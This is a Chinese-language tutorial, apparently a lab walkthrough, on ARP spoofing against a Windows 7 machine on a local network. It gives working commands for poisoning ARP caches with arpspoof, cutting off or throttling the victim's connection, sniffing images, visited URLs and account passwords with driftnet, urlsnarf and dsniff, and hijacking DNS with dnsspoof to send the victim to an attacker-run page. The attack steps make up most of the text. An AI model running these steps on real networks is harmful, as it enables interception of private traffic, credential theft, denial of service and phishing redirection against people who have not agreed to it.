ARP欺骗的各种玩法
ARP欺骗
定义
ARP欺骗（英语：ARP spoofing），又称ARP毒化（ARP poisoning，网络上多译为ARP病毒）或ARP攻击，是针对以太网地址解析协议（ARP）的一种攻击技术，通过欺骗局域网内访问者PC的网关MAC地址，使访问者PC错以为攻击者更改后的MAC地址是网关的MAC，导致网络不通。此种攻击可让攻击者获取局域网上的数据包甚至可篡改数据包，且可让网络上特定计算机或所有计算机无法正常连线
关于ARP的工作原理和ARP欺骗的原理，此处不再赘述，如果不懂的话网上有大量资料，这里推荐一个我认为讲解通透的视频ARP攻防
攻击手段
警告！！！下面介绍的所有的操作都是建立在ARP欺骗的前提下，使用什么工具来实现ARP欺骗是自己的事情，这意味着，下面介绍的ARP断网，限速，嗅探数据的各种操作也可以建立在ettercap、python上。
arpspoof
这款工具已经被kali移除，如果你的系统没有的话需要手动安装
sudo apt-get install dsniff
┌──(rootkali)-[~]
└─# arpspoof -h 1 ⨯
Version: 2.4
Usage: arpspoof [-i interface] [-c own|host|both] [-t target] [-r] host
根据帮助手册可以知道，-t表示受害者的ip，-r表示伪装的ip
双向毒化为：
arpspoof -t 192.168.40.140 -r 192.168.40.2
arpspoof -t 192.168.40.2 -r 192.168.40.140
ARP断网
使用arpspoof -t 192.168.40.140 -r 192.168.40.2即可欺骗win7的arp缓存表，导致win7不能上网，这也是大家最常用的ARP断网技术，win7之所以不能上网的原因是linux默认不转发数据，即，此时的kali不转发网关和win7之间的数据导致win7无法上网。这样做很容易被发现，可以改良一下做法。
限制网速
没想到吧，ARP还能限制对方网速。当我欺骗了网关和受害者的时候，受害者访问网络就需要经过我的网卡，那我限制自己网卡的速度或者转发的速度不就行了。这里可以使用的工具有tc、iptables、WonderShaper等等，由于后两者较为麻烦一些，我以tc为例，tc是通过限制网卡的速度来限制对方的，是一种杀敌一千自损八百的手段。
要实现限制网速，kali要先开启路由转发功能
cat /proc/sys/net/ipv4/ip_forward #值为0表示没开启流量转发，为1表示开启了
echo 1 > /proc/sys/net/ipv4/ip_forward #开启流量转发
限制网速200ms延时
sudo tc qdisc add dev eth0 root netem delay 200ms
取消限制网速200ms延时
sudo tc qdisc del dev eth0 root netem delay 200ms
未开启限速，两者状态还算良好
开启限速之后，就不大好了【经过测试200延迟还是可以看在线视频的，300就不行了】
换个视角，看一下ping值
嗅探全部数据
要嗅探受害者的数据，就需要能让受害者正常通信，就需要kali开启转发数据功能
cat /proc/sys/net/ipv4/ip_forward #值为0表示没开启流量转发，为1表示开启了
echo 1 > /proc/sys/net/ipv4/ip_forward #开启流量转发
这个时候win7会经过kali上网，kali也就可以抓取win7数据了。这个时候你会发现，wireshark抓到了一大堆数据包，很多还是加密的，跟网上说的wireshark轻松抓到邻居上网密码上网记录不大一样，没想到吧，这个时候我们就需要一个简单易读的工具。
这个工具就是driftnet。
嗅探图片
使用driftnet来嗅探图片，它可以展示流经网卡的图片，严格来说是把流经网卡的图片数据还原为图片，即win7上网看到的图片（还是挺鸡肋的，看不到别的）
sudo apt install driftnet
driftnet -help --获取使用文档
语法： driftnet [options] [filter code]
主要参数：
-b 捕获到新的图片时发出嘟嘟声
-i interface 选择监听接口
-f file 读取一个指定pcap数据包中的图片
-p 不让所监听的接口使用混杂模式
-a 后台模式：将捕获的图片保存到目录中（不会显示在屏幕上）
-m number 指定保存图片数的数目
-d directory 指定保存图片的路径
-x prefix 指定保存图片的前缀名
实时抓取图片
1：第一步，arp欺骗
arpspoof -t 192.168.40.140 -r 192.168.40.2
2：第二步，开启数据转发
echo 1 > /proc/sys/net/ipv4/ip_forward
3：第三步，driftnet实时抓取图片
driftnet -i eth0 #eth0是要抓的网卡
稀烂，还是一如既往的难用，没抓到图片
保存抓取下来的图片
操作同上，只不过改变一下driftnet的命令
driftnet -i eth0 -a -d /tmp/win7
嗅探访问的URL
webspy
使用webspy嗅探受害者访问了哪些网页。
前提步骤同“嗅探图片”，使用arpspoof开启欺骗，然后使用webspy来抓，但是这个工具还是依旧难用，只能抓取一次，然后自己就崩溃了，如图所示。
webspy -i eth0 192.168.40.140
urlsnarf【既能抓URL也能抓图片】
使用urlsnarf嗅探受害者访问了哪些网页，默认抓取80、8080、3128端口的数据。
前提步骤同“嗅探图片”，使用arpspoof开启欺骗，然后使用urlsnarf来抓，这个工具好用一些
urlsnarf -i eth0
嗅探账密
当网络中出现了填写账号密码的数据时，dsniff这款工具就开始截获数据，它的-m参数会解析网络协议。
前提步骤同“嗅探图片”，使用arpspoof开启欺骗，然后使用dsniff来抓。
注意，dsniff不会实时显示结果，当你在win7中输入quit的时候dsniff才会显示结果
dns欺骗
dnsspoof启用DNS欺骗，如果是请求解析某个域名，dnsspoof会让该域名重新指向另一个IP地址（黑客所控制的主机），如果dnsspoof嗅探到局域网内有DNS请求数据包，它会分析其内容，并用伪造的DNS响应包来回复请求者。
由于dns查询是客户机向网关发起请求，所以我们如果要在局域网中实现DNS欺骗，仍然是需要先做到arp欺骗。
参数：
-i 指定一个网卡
-f 指定要欺骗的网址文件，如果不指定，将返回本机的IP地址给被攻击者
这里我们的计划是，当受害者访问百度的时候会被我们劫持
1：编辑dnsspoof的配置文件
updatedb #更新一下locate的数据库
locate dnsspoof.host #使用locate命令定位文件位置
2：kali上开启apache服务，让受害者可以访问到页面
systemctl start apache2.service
3：发起DNS欺骗
dnsspoof -i eth0 -f /usr/lib/x86_64-linux-gnu/dnsspoof.hosts
-i参数指定网卡，-f调用配置文件，然后kali机会监听eth0网卡中发往udp53端口的数据包，注意啊，是监听网络中目标端口是53的数据包，不是本地监听了一个53端口。
